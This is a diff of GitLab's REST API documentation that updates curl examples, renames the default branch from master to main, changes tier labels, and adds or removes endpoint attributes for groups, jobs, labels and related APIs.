/groups/:id/wikis/:slug | Attribute | Type | Required | Description | | --------- | ------- | -------- | --------------------- | | `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) | -| `slug` | string | yes | The slug (a unique identifier) of the wiki page | +| `slug` | string | yes | URL-encoded slug (a unique string) of the wiki page, such as `dir%2Fpage_name` | ```shell curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/1/wikis/foo" @@ -186,7 +186,8 @@ The `file=` parameter must point to a file on your file system and be preceded by `@`. For example: ```shell -curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --form "file=@dk.png" "https://gitlab.example.com/api/v4/groups/1/wikis/attachments" +curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \ + --form "file=@dk.png" "https://gitlab.example.com/api/v4/groups/1/wikis/attachments" ``` Example response: diff --git a/doc/api/groups.md b/doc/api/groups.md index 6bec6e0f6f8..de2c6c95bcd 100644 --- a/doc/api/groups.md +++ b/doc/api/groups.md @@ -302,7 +302,8 @@ Example response: "id": 9, "description": "foo", "default_branch": "master", - "tag_list": [], + "tag_list": [], //deprecated, use `topics` instead + "topics": [], "archived": false, "visibility": "internal", "ssh_url_to_repo": "git@gitlab.example.com/html5-boilerplate.git", @@ -381,9 +382,8 @@ Example response: "path_with_namespace":"h5bp/html5-boilerplate", "created_at":"2020-04-27T06:13:22.642Z", "default_branch":"master", - "tag_list":[ - - ], + "tag_list":[], //deprecated, use `topics` instead + "topics":[], "ssh_url_to_repo":"ssh://git@gitlab.com/h5bp/html5-boilerplate.git", "http_url_to_repo":"http://gitlab.com/h5bp/html5-boilerplate.git", "web_url":"http://gitlab.com/h5bp/html5-boilerplate", @@ -540,7 +540,8 @@ Example response: "id": 7, "description": "Voluptas veniam qui et beatae voluptas doloremque explicabo facilis.", "default_branch": "master", - "tag_list": [], + "tag_list": [], //deprecated, use `topics` instead + "topics": [], "archived": false, "visibility": "public", "ssh_url_to_repo": "git@gitlab.example.com:twitter/typeahead-js.git", @@ -578,7 +579,8 @@ Example response: "id": 6, "description": "Aspernatur omnis repudiandae qui voluptatibus eaque.", "default_branch": "master", - "tag_list": [], + "tag_list": [], //deprecated, use `topics` instead + "topics": [], "archived": false, "visibility": "internal", "ssh_url_to_repo": "git@gitlab.example.com:twitter/flight.git", @@ -618,7 +620,8 @@ Example response: "id": 8, "description": "Velit eveniet provident fugiat saepe eligendi autem.", "default_branch": "master", - "tag_list": [], + "tag_list": [], //deprecated, use `topics` instead + "topics": [], "archived": false, "visibility": "private", "ssh_url_to_repo": "git@gitlab.example.com:h5bp/html5-boilerplate.git", @@ -722,6 +725,28 @@ Example response: } ``` +### Download a Group avatar + +Get a group avatar. This endpoint can be accessed without authentication if the +group is publicly accessible. + +```plaintext +GET /groups/:id/avatar +``` + +| Attribute | Type | Required | Description | +| --------- | -------------- | -------- | --------------------- | +| `id` | integer/string | yes | ID of the group | + +Example: + +```shell +curl --header "PRIVATE-TOKEN: $GITLAB_LOCAL_TOKEN" \ + --remote-header-name \ + --remote-name \ + "https://gitlab.example.com/api/v4/groups/4/avatar" +``` + ### Disable the results limit **(FREE SELF)** The 100 results limit can break integrations developed using GitLab 12.4 and earlier. @@ -752,7 +777,7 @@ Parameters: | `name` | string | yes | The name of the group. | | `path` | string | yes | The path of the group. | | `description` | string | no | The group's description. | -| `membership_lock` | boolean | no | **(STARTER)** Prevent adding new members to project membership within this group. | +| `membership_lock` | boolean | no | **(PREMIUM)** Prevent adding new members to project membership within this group. | | `visibility` | string | no | The group's visibility. Can be `private`, `internal`, or `public`. | | `share_with_group_lock` | boolean | no | Prevent sharing a project with another group within this group. | | `require_two_factor_authentication` | boolean | no | Require all users in this group to setup Two-factor authentication. | @@ -770,6 +795,10 @@ Parameters: | `shared_runners_minutes_limit` | integer | no | **(PREMIUM SELF)** Pipeline minutes quota for this group (included in plan). Can be `nil` (default; inherit system default), `0` (unlimited) or `> 0` | | `extra_shared_runners_minutes_limit` | integer | no | **(PREMIUM SELF)** Extra pipeline minutes quota for this group (purchased in addition to the minutes included in the plan). | +NOTE: +On GitLab SaaS, you must use the GitLab UI to create groups without a parent group. You cannot +use the API to do this. + ### Options for `default_branch_protection` The `default_branch_protection` attribute determines whether developers and maintainers can push to the applicable [default branch](../user/project/repository/branches/default.md), as described in the following table: @@ -788,9 +817,10 @@ This is similar to creating a [New group](#new-group). You need the `parent_id` - `subgroup_name` ```shell -curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --header "Content-Type: application/json" \ - --data '{"path": "<subgroup_path>", "name": "<subgroup_name>", "parent_id": <parent_group_id> }' \ - "https://gitlab.example.com/api/v4/groups/" +curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \ + --header "Content-Type: application/json" \ + --data '{"path": "<subgroup_path>", "name": "<subgroup_name>", "parent_id": <parent_group_id> }' \ + "https://gitlab.example.com/api/v4/groups/" ``` ## Transfer project to group @@ -809,7 +839,8 @@ Parameters: | `project_id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) | ```shell -curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/4/projects/56" +curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \ + "https://gitlab.example.com/api/v4/groups/4/projects/56" ``` ## Update group @@ -826,7 +857,7 @@ PUT /groups/:id | `name` | string | no | The name of the group. | | `path` | string | no | The path of the group. | | `description` | string | no | The description of the group. | -| `membership_lock` | boolean | no | **(STARTER)** Prevent adding new members to project membership within this group. | +| `membership_lock` | boolean | no | **(PREMIUM)** Prevent adding new members to project membership within this group. | | `share_with_group_lock` | boolean | no | Prevent sharing a project with another group within this group. | | `visibility` | string | no | The visibility level of the group. Can be `private`, `internal`, or `public`. | | `require_two_factor_authentication` | boolean | no | Require all users in this group to setup Two-factor authentication. | @@ -851,7 +882,8 @@ The `projects` and `shared_projects` attributes in the response are deprecated a To get the details of all projects within a group, use either the [list a group's projects](#list-a-groups-projects) or the [list a group's shared projects](#list-a-groups-shared-projects) endpoint. ```shell -curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/5?name=Experimental" +curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" \ + "https://gitlab.example.com/api/v4/groups/5?name=Experimental" ``` This endpoint returns: @@ -883,7 +915,8 @@ Example response: "id": 9, "description": "foo", "default_branch": "master", - "tag_list": [], + "tag_list": [], //deprecated, use `topics` instead + "topics": [], "public": false, "archived": false, "visibility": "internal", @@ -956,7 +989,8 @@ curl to post data using the header `Content-Type: multipart/form-data`. The `@`. For example: ```shell -curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/22" --form "avatar=@/tmp/example.png" +curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/22" \ + --form "avatar=@/tmp/example.png" ``` ## Remove group @@ -1142,7 +1176,7 @@ DELETE /groups/:id/hooks/:hook_id | `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) | | `hook_id` | integer | yes | The ID of the group hook. | -## Group Audit Events **(STARTER)** +## Group Audit Events **(PREMIUM)** Group audit events can be accessed via the [Group Audit Events API](audit_events.md#group-audit-events) @@ -1298,11 +1332,11 @@ DELETE /groups/:id/share/:group_id | `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) | | `group_id` | integer | yes | The ID of the group to share with | -## Push Rules **(STARTER)** +## Push Rules **(PREMIUM)** -> Introduced in [GitLab Starter](https://about.gitlab.com/pricing/) 13.4. +> Introduced in [GitLab](https://about.gitlab.com/pricing/) 13.4. -### Get group push rules **(STARTER)** +### Get group push rules **(PREMIUM)** Get the [push rules](../user/group/index.md#group-push-rules) of a group. @@ -1345,7 +1379,7 @@ the `commit_committer_check` and `reject_unsigned_commits` parameters: } ``` -### Add group push rule **(STARTER)** +### Add group push rule **(PREMIUM)** Adds [push rules](../user/group/index.md#group-push-rules) to the specified group. @@ -1358,17 +1392,17 @@ POST /groups/:id/push_rule | Attribute | Type | Required | Description | | --------------------------------------------- | -------------- | -------- | ----------- | | `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) | -| `deny_delete_tag` **(STARTER)** | boolean | no | Deny deleting a tag | -| `member_check` **(STARTER)** | boolean | no | Allows only GitLab users to author commits | -| `prevent_secrets` **(STARTER)** | boolean | no | [Files that are likely to contain secrets](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/gitlab/checks/files_denylist.yml) are rejected | -| `commit_message_regex` **(STARTER)** | string | no | All commit messages must match the regular expression provided in this attribute, e.g. `Fixed \d+\..*` | -| `commit_message_negative_regex` **(STARTER)** | string | no | Commit messages matching the regular expression provided in this attribute aren't allowed, e.g. `ssh\:\/\/` | -| `branch_name_regex` **(STARTER)** | string | no | All branch names must match the regular expression provided in this attribute, e.g. `(feature|hotfix)\/*` | -| `author_email_regex` **(STARTER)** | string | no | All commit author emails must match the regular expression provided in this attribute, e.g. `@my-company.com$` | -| `file_name_regex` **(STARTER)** | string | no | Filenames matching the regular expression provided in this attribute are **not** allowed, e.g. `(jar|exe)$` | -| `max_file_size` **(STARTER)** | integer | no | Maximum file size (MB) allowed | -| `commit_committer_check` **(PREMIUM)** | boolean | no | Only commits pushed using verified emails are allowed | -| `reject_unsigned_commits` **(PREMIUM)** | boolean | no | Only commits signed through GPG are allowed | +| `deny_delete_tag` | boolean | no | Deny deleting a tag | +| `member_check` | boolean | no | Allows only GitLab users to author commits | +| `prevent_secrets` | boolean | no | [Files that are likely to contain secrets](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/gitlab/checks/files_denylist.yml) are rejected | +| `commit_message_regex` | string | no | All commit messages must match the regular expression provided in this attribute, e.g. `Fixed \d+\..*` | +| `commit_message_negative_regex` | string | no | Commit messages matching the regular expression provided in this attribute aren't allowed, e.g. `ssh\:\/\/` | +| `branch_name_regex` | string | no | All branch names must match the regular expression provided in this attribute, e.g. `(feature|hotfix)\/*` | +| `author_email_regex` | string | no | All commit author emails must match the regular expression provided in this attribute, e.g. `@my-company.com$` | +| `file_name_regex` | string | no | Filenames matching the regular expression provided in this attribute are **not** allowed, e.g. `(jar|exe)$` | +| `max_file_size` | integer | no | Maximum file size (MB) allowed | +| `commit_committer_check` | boolean | no | Only commits pushed using verified emails are allowed | +| `reject_unsigned_commits` | boolean | no | Only commits signed through GPG are allowed | ```shell curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/19/push_rule" @@ -1392,7 +1426,7 @@ Response: } ``` -### Edit group push rule **(STARTER)** +### Edit group push rule **(PREMIUM)** Edit push rules for a specified group. @@ -1405,17 +1439,17 @@ PUT /groups/:id/push_rule | Attribute | Type | Required | Description | | --------------------------------------------- | -------------- | -------- | ----------- | | `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) | -| `deny_delete_tag` **(STARTER)** | boolean | no | Deny deleting a tag | -| `member_check` **(STARTER)** | boolean | no | Restricts commits to be authored by existing GitLab users only | -| `prevent_secrets` **(STARTER)** | boolean | no | [Files that are likely to contain secrets](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/gitlab/checks/files_denylist.yml) are rejected | -| `commit_message_regex` **(STARTER)** | string | no | All commit messages must match the regular expression provided in this attribute, e.g. `Fixed \d+\..*` | -| `commit_message_negative_regex` **(STARTER)** | string | no | Commit messages matching the regular expression provided in this attribute aren't allowed, e.g. `ssh\:\/\/` | -| `branch_name_regex` **(STARTER)** | string | no | All branch names must match the regular expression provided in this attribute, e.g. `(feature|hotfix)\/*` | -| `author_email_regex` **(STARTER)** | string | no | All commit author emails must match the regular expression provided in this attribute, e.g. `@my-company.com$` | -| `file_name_regex` **(STARTER)** | string | no | Filenames matching the regular expression provided in this attribute are **not** allowed, e.g. `(jar|exe)$` | -| `max_file_size` **(STARTER)** | integer | no | Maximum file size (MB) allowed | -| `commit_committer_check` **(PREMIUM)** | boolean | no | Only commits pushed using verified emails are allowed | -| `reject_unsigned_commits` **(PREMIUM)** | boolean | no | Only commits signed through GPG are allowed | +| `deny_delete_tag` | boolean | no | Deny deleting a tag | +| `member_check` | boolean | no | Restricts commits to be authored by existing GitLab users only | +| `prevent_secrets` | boolean | no | [Files that are likely to contain secrets](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/gitlab/checks/files_denylist.yml) are rejected | +| `commit_message_regex` | string | no | All commit messages must match the regular expression provided in this attribute, e.g. `Fixed \d+\..*` | +| `commit_message_negative_regex` | string | no | Commit messages matching the regular expression provided in this attribute aren't allowed, e.g. `ssh\:\/\/` | +| `branch_name_regex` | string | no | All branch names must match the regular expression provided in this attribute, e.g. `(feature|hotfix)\/*` | +| `author_email_regex` | string | no | All commit author emails must match the regular expression provided in this attribute, e.g. `@my-company.com$` | +| `file_name_regex` | string | no | Filenames matching the regular expression provided in this attribute are **not** allowed, e.g. `(jar|exe)$` | +| `max_file_size` | integer | no | Maximum file size (MB) allowed | +| `commit_committer_check` | boolean | no | Only commits pushed using verified emails are allowed | +| `reject_unsigned_commits` | boolean | no | Only commits signed through GPG are allowed | ```shell curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/19/push_rule" @@ -1439,7 +1473,7 @@ Response: } ``` -### Delete group push rule **(STARTER)** +### Delete group push rule **(PREMIUM)** Deletes the [push rules](../user/group/index.md#group-push-rules) of a group. diff --git a/doc/api/instance_level_ci_variables.md b/doc/api/instance_level_ci_variables.md index 58e69e22a15..de6fd958aa6 100644 --- a/doc/api/instance_level_ci_variables.md +++ b/doc/api/instance_level_ci_variables.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Authoring info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- @@ -85,7 +85,8 @@ POST /admin/ci/variables | `masked` | boolean | no | Whether the variable is masked. | ```shell -curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/admin/ci/variables" --form "key=NEW_VARIABLE" --form "value=new value" +curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \ + "https://gitlab.example.com/api/v4/admin/ci/variables" --form "key=NEW_VARIABLE" --form "value=new value" ``` ```json @@ -115,7 +116,8 @@ PUT /admin/ci/variables/:key | `masked` | boolean | no | Whether the variable is masked. | ```shell -curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/admin/ci/variables/NEW_VARIABLE" --form "value=updated value" +curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" \ + "https://gitlab.example.com/api/v4/admin/ci/variables/NEW_VARIABLE" --form "value=updated value" ``` ```json diff --git a/doc/api/invitations.md b/doc/api/invitations.md index fbdecd0e3fa..36ff2d5bda4 100644 --- a/doc/api/invitations.md +++ b/doc/api/invitations.md @@ -4,7 +4,7 @@ group: Expansion info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Invitations API +# Invitations API **(FREE)** Use the Invitations API to send email to users you want to join a group or project, and to list pending invitations. @@ -41,10 +41,13 @@ POST /projects/:id/invitations | `email` | string | yes | The email of the new member or multiple emails separated by commas | | `access_level` | integer | yes | A valid access level | | `expires_at` | string | no | A date string in the format YEAR-MONTH-DAY | +| `invite_source` | string | no | The source of the invitation that starts the member creation process. See [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/327120). | ```shell -curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --data "email=test@example.com&access_level=30" "https://gitlab.example.com/api/v4/groups/:id/invitations" -curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --data "email=test@example.com&access_level=30" "https://gitlab.example.com/api/v4/projects/:id/invitations" +curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \ + --data "email=test@example.com&access_level=30" "https://gitlab.example.com/api/v4/groups/:id/invitations" +curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \ + --data "email=test@example.com&access_level=30" "https://gitlab.example.com/api/v4/projects/:id/invitations" ``` Example responses: diff --git a/doc/api/issues.md b/doc/api/issues.md index acfca50cb5e..f321c00e7f2 100644 --- a/doc/api/issues.md +++ b/doc/api/issues.md @@ -65,7 +65,6 @@ GET /issues?state=opened | `issue_type` | string | no | Filter to a given type of issue. One of `issue`, `incident`, or `test_case`. _(Introduced in [GitLab 13.12](https://gitlab.com/gitlab-org/gitlab/-/issues/260375))_ | | `iteration_id` **(PREMIUM)** | integer | no | Return issues assigned to the given iteration ID. `None` returns issues that do not belong to an iteration. `Any` returns issues that belong to an iteration. Mutually exclusive with `iteration_title`. _([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/118742) in GitLab 13.6)_ | | `iteration_title` **(PREMIUM)** | string | no | Return issues assigned to the iteration with the given title. Similar to `iteration_id` and mutually exclusive with `iteration_id`. _([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/118742) in GitLab 13.6)_ | -| `milestone` | string | no | The milestone title. `None` lists all issues with no milestone. `Any` lists all issues that have an assigned milestone. | | `labels` | string | no | Comma-separated list of label names, issues must have all labels to be returned. `None` lists all issues with no labels. `Any` lists all issues with at least one label. `No+Label` (Deprecated) lists all issues with no labels. Predefined names are case-insensitive. | | `milestone` | string | no | The milestone title. `None` lists all issues with no milestone. `Any` lists all issues that have an assigned milestone. | | `my_reaction_emoji` | string | no | Return issues reacted by the authenticated user by the given `emoji`. `None` returns issues not given a reaction. `Any` returns issues given at least one reaction. _([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/14016) in GitLab 10.0)_ | @@ -996,7 +995,7 @@ POST /projects/:id/issues | `issue_type` | string | no | The type of issue. One of `issue`, `incident`, or `test_case`. Default is `issue`. | | `labels` | string | no | Comma-separated label names for an issue | | `merge_request_to_resolve_discussions_of` | integer | no | The IID of a merge request in which to resolve all issues. This fills out the issue with a default description and mark all discussions as resolved. When passing a description or title, these values take precedence over the default values.| -| `milestone_id` | integer | no | The global ID of a milestone to assign issue | +| `milestone_id` | integer | no | The global ID of a milestone to assign issue. To find the `milestone_id` associated with a milestone, view an issue with the milestone assigned and [use the API](#single-project-issue) to retrieve the issue's details. | | `title` | string | yes | The title of an issue | | `weight` **(PREMIUM)** | integer | no | The weight of the issue. Valid values are greater than or equal to 0. | @@ -2081,6 +2080,7 @@ Example response: "source_project_id": 1, "target_project_id": 1, "labels": [], + "draft": false, "work_in_progress": false, "milestone": { "id": 27, @@ -2232,6 +2232,7 @@ Example response: "closed_at": null, "closed_by": null, "labels": [], + "draft": false, "work_in_progress": false, "milestone": null, "merge_when_pipeline_succeeds": false, diff --git a/doc/api/job_artifacts.md b/doc/api/job_artifacts.md index 0dbb35a62cd..54404559577 100644 --- a/doc/api/job_artifacts.md +++ b/doc/api/job_artifacts.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Testing info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- @@ -90,7 +90,7 @@ Parameters Example request using the `PRIVATE-TOKEN` header: ```shell -curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/jobs/artifacts/master/download?job=test" +curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/jobs/artifacts/main/download?job=test" ``` To use this in a [`script` definition](../ci/yaml/README.md#script) inside @@ -98,25 +98,25 @@ To use this in a [`script` definition](../ci/yaml/README.md#script) inside - The `JOB-TOKEN` header with the GitLab-provided `CI_JOB_TOKEN` variable. For example, the following job downloads the artifacts of the `test` job - of the `master` branch. Note that the command is wrapped into single quotes + of the `main` branch. Note that the command is wrapped into single quotes because it contains a colon (`:`): ```yaml artifact_download: stage: test script: - - 'curl --location --output artifacts.zip --header "JOB-TOKEN: $CI_JOB_TOKEN" "https://gitlab.example.com/api/v4/projects/$CI_PROJECT_ID/jobs/artifacts/master/download?job=test"' + - 'curl --location --output artifacts.zip --header "JOB-TOKEN: $CI_JOB_TOKEN" "https://gitlab.example.com/api/v4/projects/$CI_PROJECT_ID/jobs/artifacts/main/download?job=test"' ``` - Or the `job_token` attribute with the GitLab-provided `CI_JOB_TOKEN` variable. For example, the following job downloads the artifacts of the `test` job - of the `master` branch: + of the `main` branch: ```yaml artifact_download: stage: test script: - - 'curl --location --output artifacts.zip "https://gitlab.example.com/api/v4/projects/$CI_PROJECT_ID/jobs/artifacts/master/download?job=test&job_token=$CI_JOB_TOKEN"' + - 'curl --location --output artifacts.zip "https://gitlab.example.com/api/v4/projects/$CI_PROJECT_ID/jobs/artifacts/main/download?job=test&job_token=$CI_JOB_TOKEN"' ``` Possible response status codes: @@ -193,7 +193,7 @@ Parameters: Example request: ```shell -curl --location --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/jobs/artifacts/master/raw/some/release/file.pdf?job=pdf" +curl --location --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/jobs/artifacts/main/raw/some/release/file.pdf?job=pdf" ``` Possible response status codes: @@ -243,7 +243,7 @@ Example response: "download_url": null, "id": 42, "name": "rubocop", - "ref": "master", + "ref": "main", "artifacts": [], "runner": null, "stage": "test", diff --git a/doc/api/jobs.md b/doc/api/jobs.md index 6647b53bcb4..b92f2a72c03 100644 --- a/doc/api/jobs.md +++ b/doc/api/jobs.md @@ -1,10 +1,10 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Jobs API +# Jobs API **(FREE)** ## List project jobs @@ -63,11 +63,11 @@ Example of response "pipeline": { "id": 6, "project_id": 1, - "ref": "master", + "ref": "main", "sha": "0ff3ae198f8601a285adcf5c0fff204ee6fba5fd", "status": "pending" }, - "ref": "master", + "ref": "main", "runner": null, "stage": "test", "status": "failed", @@ -117,11 +117,11 @@ Example of response "pipeline": { "id": 6, "project_id": 1, - "ref": "master", + "ref": "main", "sha": "0ff3ae198f8601a285adcf5c0fff204ee6fba5fd", "status": "pending" }, - "ref": "master", + "ref": "main", "artifacts": [], "runner": null, "stage": "test", @@ -198,11 +198,11 @@ Example of response "pipeline": { "id": 6, "project_id": 1, - "ref": "master", + "ref": "main", "sha": "0ff3ae198f8601a285adcf5c0fff204ee6fba5fd", "status": "pending" }, - "ref": "master", + "ref": "main", "artifacts": [], "runner": null, "stage": "test", @@ -263,11 +263,11 @@ Example of response "pipeline": { "id": 6, "project_id": 1, - "ref": "master", + "ref": "main", "sha": "0ff3ae198f8601a285adcf5c0fff204ee6fba5fd", "status": "pending" }, - "ref": "master", + "ref": "main", "runner": null, "stage": "test", "status": "failed", @@ -348,14 +348,14 @@ Example of response "pipeline": { "id": 6, "project_id": 1, - "ref": "master", + "ref": "main", "sha": "0ff3ae198f8601a285adcf5c0fff204ee6fba5fd", "status": "pending", "created_at": "2015-12-24T15:50:16.123Z", "updated_at": "2015-12-24T18:00:44.432Z", "web_url": "https://example.com/foo/bar/pipelines/6" }, - "ref": "master", + "ref": "main", "stage": "test", "status": "pending", "tag": false, @@ -380,7 +380,7 @@ Example of response "downstream_pipeline": { "id": 5, "sha": "f62a4b2fb89754372a346f24659212eb8da13601", - "ref": "master", + "ref": "main", "status": "pending", "created_at": "2015-12-24T17:54:27.722Z", "updated_at": "2015-12-24T17:58:27.896Z", @@ -433,11 +433,11 @@ Example of response "pipeline": { "id": 6, "project_id": 1, - "ref": "master", + "ref": "main", "sha": "0ff3ae198f8601a285adcf5c0fff204ee6fba5fd", "status": "pending" }, - "ref": "master", + "ref": "main", "artifacts": [], "runner": null, "stage": "test", @@ -518,7 +518,7 @@ Example response: "id": 1, "project_id": 1, "sha": "b83d6e391c22777fca1ed3012fce84f633d7fed0", - "ref": "master", + "ref": "main", "status": "pending", "created_at": "2021-03-26T14:51:51.107Z", "updated_at": "2021-03-26T14:51:51.107Z", @@ -590,11 +590,11 @@ Example of response "pipeline": { "id": 6, "project_id": 1, - "ref": "master", + "ref": "main", "sha": "0ff3ae198f8601a285adcf5c0fff204ee6fba5fd", "status": "pending" }, - "ref": "master", + "ref": "main", "artifacts": [], "runner": null, "stage": "test", @@ -684,7 +684,7 @@ Example of response "queued_duration": 0.010, "id": 42, "name": "rubocop", - "ref": "master", + "ref": "main", "artifacts": [], "runner": null, "stage": "test", @@ -734,7 +734,7 @@ Example of response "queued_duration": 0.010, "id": 42, "name": "rubocop", - "ref": "master", + "ref": "main", "artifacts": [], "runner": null, "stage": "test", @@ -784,7 +784,7 @@ Example of response "download_url": null, "id": 42, "name": "rubocop", - "ref": "master", + "ref": "main", "artifacts": [], "runner": null, "stage": "test", @@ -839,7 +839,7 @@ Example of response "queued_duration": 0.010, "id": 42, "name": "rubocop", - "ref": "master", + "ref": "main", "artifacts": [], "runner": null, "stage": "test", diff --git a/doc/api/labels.md b/doc/api/labels.md index a9f2698a270..5abab7a79c4 100644 --- a/doc/api/labels.md +++ b/doc/api/labels.md @@ -46,8 +46,7 @@ Example response: "open_merge_requests_count": 1, "subscribed": false, "priority": 10, - "is_project_label": true, - "remove_on_close": false + "is_project_label": true }, { "id" : 4, @@ -61,8 +60,7 @@ Example response: "open_merge_requests_count": 0, "subscribed": false, "priority": null, - "is_project_label": true, - "remove_on_close": false + "is_project_label": true }, { "id" : 7, @@ -76,8 +74,7 @@ Example response: "open_merge_requests_count": 1, "subscribed": false, "priority": null, - "is_project_label": true, - "remove_on_close": true + "is_project_label": true }, { "id" : 8, @@ -91,8 +88,7 @@ Example response: "open_merge_requests_count": 2, "subscribed": false, "priority": null, - "is_project_label": false, - "remove_on_close": false + "is_project_label": false }, { "id" : 9, @@ -106,8 +102,7 @@ Example response: "open_merge_requests_count": 1, "subscribed": true, "priority": null, - "is_project_label": true, - "remove_on_close": false + "is_project_label": true } ] ``` @@ -145,8 +140,7 @@ Example response: "open_merge_requests_count": 1, "subscribed": false, "priority": 10, - "is_project_label": true, - "remove_on_close": true + "is_project_label": true } ``` @@ -165,7 +159,6 @@ POST /projects/:id/labels | `color` | string | yes | The color of the label given in 6-digit hex notation with leading '#' sign (e.g. #FFAABB) or one of the [CSS color names](https://developer.mozilla.org/en-US/docs/Web/CSS/color_value#Color_keywords) | | `description` | string | no | The description of the label | | `priority` | integer | no | The priority of the label. Must be greater or equal than zero or `null` to remove the priority. | -| `remove_on_close` | boolean | no | Whether the label should be removed from an issue when the issue is closed. _([Introduced in GitLab 13.12](https://gitlab.com/gitlab-org/gitlab/-/issues/17461))_ | ```shell curl --data "name=feature&color=#5843AD" --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/labels" @@ -186,8 +179,7 @@ Example response: "open_merge_requests_count": 0, "subscribed": false, "priority": null, - "is_project_label": true, - "remove_on_close": true + "is_project_label": true } ``` @@ -228,10 +220,10 @@ PUT /projects/:id/labels/:label_id | `color` | string | yes if `new_name` is not provided | The color of the label given in 6-digit hex notation with leading '#' sign (e.g. #FFAABB) or one of the [CSS color names](https://developer.mozilla.org/en-US/docs/Web/CSS/color_value#Color_keywords) | | `description` | string | no | The new description of the label | | `priority` | integer | no | The new priority of the label. Must be greater or equal than zero or `null` to remove the priority. | -| `remove_on_close` | boolean | no | Boolean option specifying whether the label should be removed from issues when they are closed. | ```shell -curl --request PUT --data "new_name=docs&color=#8E44AD&description=Documentation" --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/labels/documentation" +curl --request PUT --data "new_name=docs&color=#8E44AD&description=Documentation" \ + --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/labels/documentation" ``` Example response: @@ -249,8 +241,7 @@ Example response: "open_merge_requests_count": 2, "subscribed": false, "priority": null, - "is_project_label": true, - "remove_on_close": true + "is_project_label": true } ``` @@ -291,8 +282,7 @@ Example response: "open_issues_count": 1, "closed_issues_count": 0, "open_merge_requests_count": 2, - "subscribed": false, - "remove_on_close": true + "subscribed": false } ``` @@ -333,8 +323,7 @@ Example response: "open_merge_requests_count": 1, "subscribed": true, "priority": null, - "is_project_label": true, - "remove_on_close": true + "is_project_label": true } ``` diff --git a/doc/api/lint.md b/doc/api/lint.md index 867a5e54663..57d11d15adc 100644 --- a/doc/api/lint.md +++ b/doc/api/lint.md @@ -1,19 +1,26 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# CI Lint API +# CI Lint API **(FREE)** ## Validate the CI YAML configuration -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/5953) in GitLab 8.12. - Checks if CI/CD YAML configuration is valid. This endpoint validates basic CI/CD configuration syntax. It doesn't have any namespace specific context. -Access to this endpoint requires authentication. +Access to this endpoint does not require authentication when the instance +[allows new sign ups](../user/admin_area/settings/sign_up_restrictions.md#disable-new-sign-ups) +and: + +- Does not have an [allowlist or denylist](../user/admin_area/settings/sign_up_restrictions.md#allow-or-deny-sign-ups-using-specific-email-domains). +- Does not [require administrator approval for new sign ups](../user/admin_area/settings/sign_up_restrictions.md#require-administrator-approval-for-new-sign-ups). +- Does not have additional [sign up + restrictions](../user/admin_area/settings/sign_up_restrictions.html#sign-up-restrictions). + 